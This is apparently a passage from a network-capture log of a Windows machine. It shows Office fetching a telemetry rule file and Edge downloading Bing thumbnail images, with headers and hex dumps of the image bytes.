cf ad 5a 7f cf 39 7c cf 2a 5f f9 e9 ba a9 eb 92 db 4d 7b 75 67 fb 99 6d fe d5 04 92 ff 00 d3 3d bf 33 7c d5 c6 78 93 c4 5e 77 95 a7 db cf 35 84 96 12 Data Ascii: To4yvYi^gdrU~%?.oq}KyoIKY`UsEWeK .?uVy4?+X:]C\|?u3..er%u9 XvZ9\|*_M{ugm=3\|x^w5
2024-11-28 01:27:23 UTC	8192	IN	Data Raw: bc 8b cc b6 8a ee 58 77 db 7e ef ef f9 2f fd ef f6 ab 62 3b 4b 6d 4a 68 bf d7 5a de 4b fb c8 a2 f2 7c 9f b3 a7 df f3 24 95 ea df 84 97 47 d4 6c 23 b8 f1 17 88 a6 b1 b9 be f3 2d 80 b5 87 cd 44 5f ef f9 6c bb 7c ba af 67 47 97 df 8f bb e4 1c bc 86 47 83 f5 3b 2f 13 f8 5f fe 27 90 7f a4 5d 7f a4 da dd 5d ef 74 8f fe 9a 6f 4f ee ff 00 15 53 f1 27 8f 6d af 34 bf ec ff 00 ec 38 6d 75 4f 35 22 d5 7c eb 2f 25 e4 78 ff 00 d5 ff 00 b4 ea d4 68 f0 d9 43 e1 f9 bf e1 13 b1 9a 5f 12 5d 79 91 dd 45 69 f3 db c9 e5 3f c8 f0 2f f0 2b d4 3e 30 f1 16 9b e2 7f 05 e8 b6 77 90 79 ba 86 97 aa fd 8a ee 29 60 f9 e3 8a 44 f9 fe 7f f6 5a bd 2a 7c 9e ef 24 7f e0 07 39 b7 f0 ed 2e 75 8f 08 c5 71 a5 ff 00 c7 c4 5a 84 97 3f f5 d2 e2 34 f2 b7 c7 5b d7 12 dc cd 7b 0d be a1 7d 0c 52 45 be Data Ascii: Xw~/b;KmJhZK\|$Gl#-D_l\|gGG;/_']]toOS'm48muO5"\|/%xhC_]yEi?/+>0wy)`DZ*\|$9.uqZ?4[{}RE
2024-11-28 01:27:23 UTC	8192	IN	Data Raw: 6b 9a ae a9 a6 49 aa 6b 17 5e 57 99 1c db ed fe 6f f9 65 b2 4f 9a b7 fc 66 35 1b 7b 39 75 7b 3b 29 a5 92 d6 5f f5 56 bf 7d fe 4f f9 67 5e 4d e3 6d 36 4d 53 c7 72 eb 91 ea 97 be 54 b2 c7 f6 5b a9 61 df 0e ef bb ff 00 6d 2b d8 7c 29 7f 71 63 a5 c5 65 7b 3e 64 f3 64 ff 00 4a 9a 6f b9 b5 2b ea 32 d7 3a aa a4 69 c6 fe ee e9 ea 9f 44 70 49 5b de 97 73 8a d3 66 8e fb 40 b4 bf d2 2f 6c ed 6f 23 bf 48 ef fe d7 fb 94 dc df 2b fe ef ee ee ae cf c5 5a 86 83 a5 e8 ba 5c 9a 9d f5 9c 71 c9 fb b8 a5 97 e4 fb 77 fd 73 ae 07 59 7d 1b c3 5f 11 26 78 21 86 fa 39 62 4b 8b ad 32 5f df 79 72 b7 df 9b f1 ad df 89 36 27 c7 36 96 96 8f 64 45 be 97 7f e6 4b 63 77 f2 79 ff 00 27 df 89 d7 f8 16 bc 9c 0e 21 65 f2 a9 ad 9a db 7d 4e bc 4c 5d 5e 5e 52 5d 7b 53 d2 74 cf 10 58 69 9a bc 13 Data Ascii: kIk^WoeOf5{9u{;)_V}Og^Mm6MSrT[am+\|)qce{>ddJo+2:iDpI[sf@/lo#H+Z\qwsY}_&x!9bK2_yr6'6dEKcwy'!e}NL]^^R]{StXi
2024-11-28 01:27:23 UTC	8192	IN	Data Raw: 8a 3b 89 fc d9 25 ff 00 55 fb ef e0 fb d5 4f c4 96 fb 34 58 a3 b7 9e 69 63 8a 5f f9 65 ff 00 a0 51 f0 f3 00 fb 8b 78 cd 94 32 49 3f fc 7d 7e ee 5f fa 67 2f dd a6 7d 9f c9 9f ec 76 77 d0 ff 00 cf 4f f5 df 26 c5 fe 1a 66 9f f3 d9 45 27 9f e5 79 bf eb 65 ff 00 d0 2a b5 c2 5c be a9 e6 47 3c 3e 5f 95 e5 cb ff 00 d8 57 93 5a 3c a6 c5 6d 73 ec 5e 77 d9 ec e7 9a 29 22 8a 3f 2a 2f fc 7f 6d 4d 25 c4 6f 37 99 fb 99 63 8a 2f b4 fd 96 a1 d5 12 f6 e7 5a 97 cb 83 fd 54 50 7f ad ff 00 96 8f 50 eb 0f 1e 9b 0f fa 3c 13 4b 24 bf bb fb 57 df f9 e3 ff 00 96 7f f7 d5 68 51 3c 9a 85 cd e5 94 52 47 04 3e 64 b2 c9 1c b2 c5 55 75 04 fd f4 b6 ff 00 6e f3 7c af fb e2 a6 d5 1e e5 fc 3f 15 c4 7f f1 f1 6b 75 fe aa 2f ef b7 f7 6a 6d 0f 4f b2 bf 86 5b cb 8b e9 a2 fb 55 af fc b2 fe fb 52 Data Ascii: ;%UO4Xic_eQx2I?}~_g/}vwO&fE'ye\G<>_WZ<ms^w)"?/mM%o7c/ZTPP<K$WhQ<RG>dUun\|?ku/jmO[UR

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:22 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:22 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:22 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 2604352f-101e-005a-363c-40882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012722Z-174f7845968vqt9xhC1EWRgten0000000xq000000000hvs9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:22 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	49744	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:22 UTC	375	OUT	GET /th?id=OADD2.10239399109664_12R6JVR4SJZQSTHCV&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-28 01:27:22 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 634317 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: F5E145682A924952A6C4A0A190FBBD62 Ref B: EWR30EDGE1019 Ref C: 2024-11-28T01:27:22Z Date: Thu, 28 Nov 2024 01:27:21 GMT Connection: close
2024-11-28 01:27:22 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 15 70 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 39 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 34 3a 30 38 3a 30 36 20 30 39 3a 33 38 3a 30 35 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``pExifMM*bj(1r2i``Adobe Photoshop 25.9 (Windows)2024:08:06 09:38:058
2024-11-28 01:27:22 UTC	16384	IN	Data Raw: bc 8a bb 76 fa 52 78 ef 6b ef 3b 5e c7 74 30 d0 a6 fd dd df 99 cf 78 9b c3 d6 7a dc 68 da 87 97 67 79 6e 8b 2a 5c 43 f3 6f fc 0b 7c df 4e 2b 8c bc be 9f 4b d6 16 c7 50 b4 92 58 f7 ff 00 a3 dc 43 bb 6c ca 3a 1f f6 6b d0 bc 45 68 be 5e d6 9e 0b 7b a5 ff 00 5c e9 f3 79 cb 5c 27 8b 2f e7 d2 35 28 6d ef 2d 27 f2 e5 db ff 00 5c b6 d7 a5 87 fd f4 3d 9b 5c d6 5a 2b d9 fc 99 e7 66 34 61 07 ce 97 2b d3 55 d7 d7 fc cb 91 bd a4 b2 24 d7 10 6d db bb 63 a7 cb f3 74 e4 7f 7a 92 c6 26 82 ea ee f3 fb 4a 46 b5 8a 1d de 4f 96 ca c9 df 35 52 de f2 3d 5a 0d ab e4 5c 2e ff 00 be ef e9 ef 4f 87 51 fb 64 ff 00 67 93 cb f3 2d e5 68 bf bb be b8 5c 6a a5 28 da dd d7 65 f3 39 1f 2b 6a ff 00 22 e5 c4 12 dc 68 68 b0 f9 6b 37 fa d8 5d 3f bd f7 b8 e6 b0 f4 9b c9 ef 6e b6 fd 82 08 99 b7 Data Ascii: vRxk;^t0xzhgyn*\Co\|N+KPXCl:kEh^{\y\'/5(m-'\=\Z+f4a+U$mctz&JFO5R=Z\.OQdg-h\j(e9+j"hhk7]?n
2024-11-28 01:27:22 UTC	16384	IN	Data Raw: 3e fd af 25 6f 53 56 6b cb 69 a0 fb 0e a5 fe b3 7a ff 00 ae 76 6f 9b 6e 7e f7 a7 a5 66 ea d6 92 e9 da 6c d3 5a f9 fe 5c ff 00 eb b7 cf f2 ed 3e ff 00 ec f6 a9 ee 35 1f 3f 46 49 ae 2d 3e 6d 8b f3 a2 7f ec a6 a9 78 a1 ef 1e d6 e2 6d 37 f7 b2 5d 43 b5 d3 ef 2b b0 c7 af f1 57 46 12 35 23 52 30 7a 45 bd 53 7a 5e e4 4a 16 bb b6 b6 f9 8b 70 22 7b 1f b7 6a 1f 35 bd ac df 3e cd d1 32 30 fb 8c 54 e6 aa e9 7e 29 8a 5b af 2e ea 4f dc ef 68 a1 99 11 57 e5 1f fb 37 b5 65 f8 4e e3 51 b3 ba 89 af a4 91 a4 bc f3 17 63 a3 2f 46 f7 e1 b3 5b de 26 b3 6b ad 29 ed e6 f3 16 4b 57 dd 6f 32 7c dd 7f f4 35 c5 7a 55 a9 d1 a7 5b d8 d6 f7 93 d9 a7 b2 eb 65 eb bf 73 28 ca 53 8b 9c 55 99 34 77 f6 6f a6 db b2 cf 1d c2 ae e5 9b 66 df 91 8f af f7 6a 39 0b 4b 3e e8 7c fb 85 b7 89 97 63 ff Data Ascii: >%oSVkizvon~flZ\>5?FI->mxm7]C+WF5#R0zESz^Jp"{j5>20T~)[.OhW7eNQc/F[&k)KWo2\|5zU[es(SU4wofj9K>\|c
2024-11-28 01:27:23 UTC	16384	IN	Data Raw: 1e ba de b3 49 f6 06 89 d9 5f ed 68 db 7f ef b4 dc 2a a3 88 a7 27 65 25 72 65 46 a2 57 71 76 f4 3a f6 0c b4 df 9b cc db 55 74 fd 4e 2b fb 5f b4 59 cf 6b 71 0b 7f cb 68 9f 72 fe 95 2b 5c ca bf dc ad 35 25 58 99 bf bd 4d f9 bf 8a a3 f3 e4 fb bf bb a1 6e 25 6f bd e5 d0 17 44 8a 7f 79 44 9b a9 be 7f f1 79 7b aa 36 9f fe 99 d1 7b 8f 71 f8 dd 26 ea 5f bd f7 a3 db fe e5 46 d3 ed f9 bc ba 74 72 7f d3 4a a6 1a 77 17 fe d9 ee a1 bf bb 43 14 5f f7 a9 19 e3 59 36 f9 9f 35 48 c2 42 be 5f cb 4e f9 4f de 92 88 f6 ff 00 cf 4a 74 91 ee 8f e5 a9 e6 d0 7c a3 7e f4 7b a9 18 ff 00 15 2a c1 fb ca 1a 2d df 33 51 74 c1 21 19 7f 79 ba 97 1f de a6 b2 7f df 34 bb 3f 85 7e f5 26 2b 30 90 7f 15 2f 4a 6f 97 fc 2d 42 ee f3 3f dd a6 16 63 9b fb b4 d6 1b b6 6d a3 0f ff 00 02 a5 54 66 a5 Data Ascii: I_h'e%reFWqv:UtN+_Ykqhr+\5%XMn%oDyDy{6{q&_FtrJwC_Y65HB_NOJt\|~{-3Qt!y4?~&+0/Jo-B?cmTf
2024-11-28 01:27:23 UTC	16384	IN	Data Raw: d2 ba 3f ee a5 86 3e 1a 3f 2d db ef 71 fc 07 e5 cd 4d e2 ab 68 25 f8 79 a7 4d 75 69 f6 29 ad 5f 6d c2 26 df b5 3c 61 5d 15 9f fe 07 ee 71 59 e3 28 d0 c4 63 62 9d a2 f9 b9 5a 8a 57 d1 35 16 d5 93 69 db 4d 3f e0 dd 37 3f 66 e4 bb 7f c3 94 fc 3b 37 8b 34 7d 0e 69 23 fb 5b 5c 44 eb 12 7c 91 b2 cc bb 78 11 b2 1d df 28 fa ab 0a d4 f1 85 ed b2 f8 76 1f b1 db c1 67 aa 5f da 5b b4 cf 70 8c d2 cc a7 f8 53 d3 3d 4f e7 59 df 06 f5 0d 15 ee ed 16 fa 48 2d e6 b5 b7 65 49 bc b6 55 79 0b 7f 1e de 5f fd 9f 4a 67 8d 3c 23 79 7b e2 0d 3f cc d7 63 ba 6f 35 57 63 bf cb 32 ff 00 1b 7f b1 fe eb 75 f6 ae ba ce 82 cd 9d 3c 52 f6 6e 37 95 d2 6b 9b ad ac ae 9a d1 6e fa f6 1c 64 dd 1b c7 5b e8 74 1e 3a d2 59 a4 d2 f5 49 23 f3 5a df 4e db 0d da 3f 95 14 2c 8d b9 97 9f f7 f1 83 d7 a8 Data Ascii: ?>?-qMh%yMui)_m&<a]qY(cbZW5iM?7?f;74}i#[\D\|x(vg_[pS=OYH-eIUy_Jg<#y{?co5Wc2u<Rn7knd[t:YI#ZN?,
2024-11-28 01:27:23 UTC	16384	IN	Data Raw: da f6 4b 7d 1e 69 23 6f e2 79 a1 9f c8 64 50 bc 75 fb df ee 9f c2 96 eb 47 f3 e4 69 23 92 49 5a 27 fd f4 3e 7a af 45 dc 4f f4 f9 be 95 e3 55 94 61 52 52 ae dc 25 2b eb 64 95 af a7 93 7e 6d 1d 6e 7e ea 51 2a 46 25 b5 be 79 2d e3 8f cc d9 f7 3c 85 6d 8a 7a b7 15 06 9e f0 36 95 6f 67 35 df fa 2c 1f 32 6f 76 f9 24 dd b7 fe 03 9c d5 9d 72 09 f4 b9 fc 9b 59 ee ad e1 df b5 d2 ef 6b 7c db be e7 e0 a6 a8 b5 f5 e5 bd dc cd 34 76 bb be 55 de 89 f2 ee fc 33 5d 94 e6 b1 14 d4 a8 f5 eb 7e df 2f 33 19 49 ad 3a 0d d7 af 2f b4 e8 d2 ea 38 e0 56 57 f9 1f fb f8 5d dc b6 7a d5 1d 3f 5d 9d b6 59 ad 85 ad d2 dc 26 d7 74 db f3 e5 b7 ed 7e fc 35 49 75 3d cc b6 af 24 36 9b 63 95 ff 00 7c fb f7 2b b7 b7 f7 7e f5 61 de 3c b6 ba 8c 32 2b c7 14 9f df 4f 99 5f b7 6a f4 70 d8 58 4e 9f Data Ascii: K}i#oydPuGi#IZ'>zEOUaRR%+d~mn~Q*F%y-<mz6og5,2ov$rYk\|4vU3]~/3I:/8VW]z?]Y&t~5Iu=$6c\|+~a<2+O_jpXN
2024-11-28 01:27:23 UTC	16384	IN	Data Raw: 2d 26 c7 fb 36 7b 55 6b bf b4 a2 4c 8c bf 31 fb cd b8 73 fc 5d 6b b6 f8 a7 a9 4f a5 68 f6 f6 2d 77 3f 97 15 de df 9d fc a9 ed 6e 42 f0 cb b0 7e f1 76 b5 4d 1e 8b 67 17 88 2c 66 d5 2e ee 95 a5 db 22 5e 7d aa 3f 9d 93 fe 59 f9 7f c0 a3 df f3 ae 6f e2 b6 b7 a8 58 5a ea 3a 3d f7 9f aa 5a b5 a7 9b 14 c9 03 32 d9 b0 fb ad dc a1 ec 4e 76 d7 9b 4e b4 33 8c c2 85 a2 bd d5 76 b6 bd dd b4 6e fb 5f 66 d3 e9 e4 74 d3 a7 c9 4e a7 33 fe af b1 d6 e8 fa f4 5a df 88 2e 34 18 e3 fb 55 8d aa 6e ff 00 8f ad cc ed fe cb 70 fc d4 5f 62 d0 d7 4a 7f 08 da db a2 c2 de 67 d9 9d 11 7c d8 5b ef 67 7f 5d df ef 7d 2b 82 f0 5c 3a 7e 8d a6 da 78 a1 b5 37 5b eb a8 7c ab bf 36 7f 97 e7 6c 89 17 23 3f 2a fe 0d d8 e6 ae 78 bd bf b3 3c 54 91 c3 71 74 d6 3a a5 8a ac db d3 6b 3b 37 39 55 f4 6e Data Ascii: -&6{UkL1s]kOh-w?nB~vMg,f."^}?YoXZ:=Z2NvN3vn_ftN3Z.4Unp_bJg\|[g]}+\:~x7[\|6l#?*x<Tqt:k;79Un
2024-11-28 01:27:23 UTC	16065	IN	Data Raw: b7 af db 91 13 76 c9 87 dd 1d f7 67 3d fe e9 ac 6d 5b c3 6d 71 e2 6d 7a d6 f9 2d 1b 52 bc bb 5f b3 dc 5c a7 fc b3 48 fe 42 a8 ad fc 4c aa 73 f9 83 5d ad d5 8d a5 df 88 26 58 ff 00 75 a8 35 a3 2c 2e 8e de 44 df 2f ee d8 ff 00 7c fd e5 cf fb 35 ca 6b d6 13 db 6b 93 6a 4d 77 25 c4 d6 b6 ec be 4c c8 bb be 4f ba 71 fd ec d7 46 5d 8a 9a 8a 85 3a 9c ad 47 48 db ab 7c ca cd 74 e9 ae 8d 25 73 6a 91 6e 3b 9a 53 58 40 96 b6 97 17 50 79 b7 56 b3 46 be 4b ce b1 6f 91 e3 77 65 54 6e 1b e6 da 7f dd ab 3e 24 ba 5d 47 c3 0f 0d d4 12 2c 29 ab c1 f6 1f 27 e5 d8 c1 4e ef 97 fb bf 4c 7a d7 9a 6b 92 cb 75 f0 e5 ed f4 bb b9 de de ce ee 4b 99 b7 a2 b6 fc af de 3f 4a d3 f8 6f a9 ea 1a 25 ac 2d a8 47 05 af db 1d 57 ca 87 ef 79 61 78 6d bf de e5 bb f4 ae e9 64 b5 63 49 57 e7 e6 9c Data Ascii: vg=m[mqmz-R_\HBLs]&Xu5,.D/\|5kkjMw%LOqF]:GH\|t%sjn;SX@PyVFKoweTn>$]G,)'NLzkuK?Jo%-GWyaxmdcIW
2024-11-28 01:27:23 UTC	16384	IN	Data Raw: 14 db 3c df 9f fd 6c d8 ff 00 74 7f 3a c3 b8 78 1a 48 6e 26 9f 76 e7 dc 89 0a 6d 5d a3 a7 6a 54 26 a7 07 0e 5f 7b bf 5f 40 92 f7 af 7d 09 3c 45 79 1d c7 ee ee 3e d5 14 db 3c dd f6 ff 00 37 b7 cf 57 bc 3b 72 b7 1a 6d f4 96 ff 00 bd 55 87 ca d9 b1 bf 7c df af 4a c5 92 f2 f3 cf 9a de 3f 33 c9 9e 6d b0 bb fd dd c7 e6 fb d5 7b 4f 78 34 48 12 66 fd ec 71 6e 57 d9 ef fa 7b d6 98 8a 29 61 95 28 ab cb a2 df b5 c5 17 79 df a1 d5 c3 a1 2b 78 7e e2 e1 b5 2f f4 89 51 65 48 5e 0d bf bc 4c 6e 55 eb fd e6 c7 f9 c4 1e 15 f1 3d 8e 97 1b df 34 ff 00 68 b8 58 76 a6 c4 f9 b7 6d 70 3a fe 55 4f 5c f1 0c bf f0 8a a5 c4 70 6a ab 33 4c ab 6f 71 b3 6a ba ed f9 b3 fd f6 c7 6f c7 ad 71 7a 6c ab 06 c9 17 cf f2 d7 ee 6f 4d ad f7 ab 83 03 92 d5 c7 61 ea fd 71 bb 37 a2 d3 a5 b4 ba 5b 6d Data Ascii: <lt:xHn&vm]jT&_{_@}<Ey><7W;rmU\|J?3m{Ox4HfqnW{)a(y+x~/QeH^LnU=4hXvmp:UO\pj3LoqjoqzloMaq7[m
2024-11-28 01:27:23 UTC	16384	IN	Data Raw: 09 fb ed 8e cd 16 d7 50 0e 03 71 d7 fd 95 fb d5 4f 54 d1 e5 d6 74 df 27 fe 5f ac ed fc bb 1d 8e cb e7 7c d9 c3 67 bf ff 00 58 55 cd 06 e2 29 64 86 ce de 78 da d5 bc b6 b8 7d f2 6e ff 00 69 77 e3 ee fd 45 6d d8 cf fd 9d ac b3 32 6e 5b 74 58 b6 7c cd ff 00 d9 32 86 e9 dc 76 35 f3 d5 31 32 c1 5b d8 c6 d3 8e b7 d6 ef 5e a9 fd cd 76 67 6d 0a 5c ea ed 1e 67 0e ae da 76 8f 71 63 0c 9f 67 b8 96 68 f7 fc ed e6 a3 0e 72 2b ab f0 6e b9 05 e5 8a 69 b2 4f 3c b3 2d a4 8a f3 6f 66 d9 bd bf 8f fb b8 db ef 5d a7 8d f4 3d 33 c5 d1 b6 d8 e0 fb 47 cb b2 e6 54 db 3f 2b d3 76 3e 6f f8 15 78 fd e6 9d ab f8 57 52 9a 16 8e 48 a6 fd e6 cb 8d 9b 5a 65 fe 47 e9 5e ce 13 19 80 cf f0 f2 a6 e3 ec eb df 9a cd f5 b5 ae 9d b5 5e 46 75 29 ce 9c 93 b5 e3 dc ed ee 2e ed 75 4b a4 be 9a 08 ef Data Ascii: PqOTt'_\|gXU)dx}niwEm2n[tX\|2v512[^vgm\gvqcghr+niO<-of]=3GT?+v>oxWRHZeG^^Fu).uK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	49742	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:22 UTC	375	OUT	GET /th?id=OADD2.10239339388046_17EE83OP3A0D95XZO&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-28 01:27:22 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 922210 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: A13BC76C231F4A2A998EB66D696309E6 Ref B: EWR30EDGE0416 Ref C: 2024-11-28T01:27:22Z Date: Thu, 28 Nov 2024 01:27:22 GMT Connection: close
2024-11-28 01:27:22 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 18 46 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 33 2e 35 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 32 3a 31 30 3a 30 33 20 31 31 3a 30 32 3a 30 33 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``FExifMM*bj(1r2i``Adobe Photoshop 23.5 (Windows)2022:10:03 11:02:038
2024-11-28 01:27:22 UTC	16384	IN	Data Raw: ff 00 4c d3 6f ff 00 65 54 35 4d 6e db f7 b6 71 df 79 52 4b 2f ee a2 87 fe 59 ff 00 b5 51 fd e2 ff 00 bb d8 b9 6f 77 1d b4 d2 dc 5b ff 00 a5 47 61 14 91 f9 bf f7 c7 cb 4f f0 bc 57 2f 0f ee ef bc db 8f 2a 4f de cb f3 a5 bf fd 33 55 fe f7 f0 d6 3c 89 23 c3 fd 9f a3 cf 3f d9 e5 b5 8e 49 7f 81 3e d0 a9 f3 fe f3 f8 db f8 8f fb 55 a5 1d de 9d 0c 33 5c 7f ad b7 fd dd b4 56 b6 9f 73 ee 7f 1f fc 0a 80 35 6e 12 3f f5 76 f3 cd fb df f5 b2 c5 fd cf f6 3f da ad 5b 7f dc d9 7f af ff 00 8f af f5 b5 cf 5b c5 65 73 e5 7d a2 08 65 b8 ff 00 96 5f 64 fb 9b 3f 8e ac ff 00 68 49 7f a2 cb f6 7f 3a 28 e2 ff 00 5b 5a 11 50 d8 fb 44 7f bd fd ff 00 ee e5 8b cc 96 ae 46 f2 7f 65 f9 9e 7c 3f 68 ac 7d 43 ec d0 cd 16 a9 27 9d 2c 76 bf bb f2 bf de a2 39 6e 6c e1 ff 00 4c fd d7 9b e6 7e Data Ascii: LoeT5MnqyRK/YQow[GaOW/*O3U<#?I>U3\Vs5n?v?[[es}e_d?hI:([ZPDFe\|?h}C',v9nlL~
2024-11-28 01:27:22 UTC	16384	IN	Data Raw: 3e 5d 9c f3 7d 9e 5f de 69 5f 64 ff 00 8f 9b 79 57 ff 00 69 1f ee 54 df f0 91 e9 3a ae a9 a2 c9 a7 f9 d6 bf 65 d2 be d3 2c 52 ff 00 cb 3b 88 fe ea b7 fe 44 ae c3 c4 97 71 de 5e 45 a5 d9 df 7d 96 49 7f 79 f6 ab 4b 2f df 7c bf dd db 5c 36 b1 17 93 ad 69 fa a5 c4 1f 60 d3 e5 ba 82 db 5a d3 fc ef 93 cd 8b fd 4d c6 df bc 8b fe d7 fb 95 8c fd c3 68 7b c7 6d ae 7d 99 26 fd dc 1e 6f 9b fe ab f7 db fc bd df dc fe fe ca e6 34 bd 56 e5 ff 00 d2 3f e5 f2 5b af f4 a8 a2 de ef 27 c9 f7 d5 3f dd e9 ff 00 02 fe ed 75 ba 7b db 4d fe 91 e1 fb ef 36 e3 fe 5a cb f7 13 fe 07 bb ff 00 41 ac 7f b3 db 7f 6a 45 fd a9 63 e5 6a 96 b1 49 1f da b4 fd f3 3c 69 bf e6 df 1f fc f3 ff 00 66 a2 75 20 10 28 78 82 e2 39 b4 b9 6e 3c fb 2b 5b 8b 0f 2e e6 5f b5 cd fc 11 ff 00 cb 3d 8f ff 00 a0 Data Ascii: >]}_i_dyWiT:e,R;Dq^E}IyK/\|\6i`ZMh{m}&o4V?['?u{M6ZAjEcjI<ifu (x9n<+[._=
